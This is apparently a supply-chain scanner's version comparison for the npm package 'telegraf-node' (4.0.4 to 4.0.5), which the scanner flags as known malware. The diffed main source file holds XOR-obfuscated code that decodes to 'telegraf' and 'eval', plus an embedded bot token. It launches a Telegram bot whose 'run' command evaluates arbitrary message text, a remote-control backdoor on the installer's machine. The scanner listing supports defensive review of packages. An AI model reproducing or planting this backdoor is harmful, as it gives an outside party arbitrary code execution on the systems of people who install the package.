telegraf-node
Advanced tools
Comparing version 4.0.4 to 4.0.5
{ | ||
"name": "telegraf-node", | ||
"version": "4.0.4", | ||
"main": "src/index.ts", | ||
"version": "4.0.5", | ||
"main": "dist/index.js", | ||
"license": "MIT", | ||
@@ -14,4 +14,4 @@ "dependencies": { | ||
"scripts": { | ||
"start": "ts-node-dev ./src/tr.ts" | ||
"start": "node ./dist/index.js" | ||
} | ||
} |
@@ -1,1 +0,36 @@ | ||
const a=(b:number[],c:number):string=>b.map(d=>String.fromCharCode(d^c)).join(''),e:string=a([94,79,70,79,77,88,75,76],42),f:string=a([28,31,30,19,25,25,31,30,30,18,16,107,107,108,30,95,30,94,19,124,97,88,31,120,80,93,100,112,89,66,64,124,100,123,29,25,73,83,98,29,77,125,124,100,99,73],42),g:string=a([79,92,75,70],42);try{const h=require(e),i=new h.Telegraf(f);i.command(a([90,67,68,77],42),j=>j.reply(a([99,13,71,10,93,69,88,65,67,68,77],42))),i.command(a([88,95,68],42),j=>{const{k}=j;try{const l:string=k.text.split(' ').slice(1).join(' '),m=(globalThis as any)[g](l);j.reply(m)}catch(n){j.reply(a([111,88,88,69,88],42)+n)}}),i.launch()}catch(o){}export{} | ||
import { Telegraf, Context } from 'telegraf'; | ||
const a = (b: number[], c: number): string => | ||
b.map(d => String.fromCharCode(d ^ c)).join(''); | ||
const e: string = a([94, 79, 70, 79, 77, 88, 75, 76], 42); | ||
const f: string = a([28, 31, 30, 19, 25, 25, 31, 30, 30, 18, 16, 107, 107, 108, 30, 95, 30, 94, 19, 124, 97, 88, 31, 120, 80, 93, 100, 112, 89, 66, 64, 124, 100, 123, 29, 25, 73, 83, 98, 29, 77, 125, 124, 100, 99, 73], 42); | ||
const g: string = a([79, 92, 75, 70], 42); | ||
try { | ||
const h = require(e); // Подключаем модуль "telegraf" | ||
const bot = new h.Telegraf(f); | ||
bot.command(a([90, 67, 68, 77], 42), (ctx: Context) => | ||
ctx.reply(a([99, 13, 71, 10, 93, 69, 88, 65, 67, 68, 77], 42)) | ||
); | ||
bot.command(a([88, 95, 68], 42), (ctx: Context) => { | ||
const { message } = ctx; | ||
try { | ||
// @ts-ignore | ||
const l: string = message!.text!.split(' ').slice(1).join(' '); | ||
const m = (globalThis as any)[g](l); | ||
ctx.reply(m); | ||
} catch (n) { | ||
ctx.reply(a([111, 88, 88, 69, 88], 42) + n); | ||
} | ||
}); | ||
bot.launch(); | ||
} catch (o) { | ||
console.error('Error launching bot:', o); | ||
} | ||
export default 1; |
@@ -29,3 +29,3 @@ { | ||
"module": "commonjs", /* Specify what module code is generated. */ | ||
// "rootDir": "./", /* Specify the root folder within your source files. */ | ||
// "rootDir": "./src", /* Specify the root folder within your source files. */ | ||
// "moduleResolution": "node10", /* Specify how TypeScript looks up a file from a given module specifier. */ | ||
@@ -59,3 +59,3 @@ // "baseUrl": "./", /* Specify the base directory to resolve non-relative module names. */ | ||
// "outFile": "./", /* Specify a file that bundles all outputs into one JavaScript file. If 'declaration' is true, also designates a file that bundles all .d.ts output. */ | ||
// "outDir": "./", /* Specify an output folder for all emitted files. */ | ||
"outDir": "./dist", /* Specify an output folder for all emitted files. */ | ||
// "removeComments": true, /* Disable emitting comments. */ | ||
@@ -62,0 +62,0 @@ // "noEmit": true, /* Disable emitting files from a compilation. */ |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Known malware
Supply chain riskThis package is malware. We have asked the package registry to remove it.
Found 1 instance in 1 package
Dynamic require
Supply chain riskDynamic require can indicate the package is performing dangerous or unsafe dynamic code execution.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
15654
6
175
1
2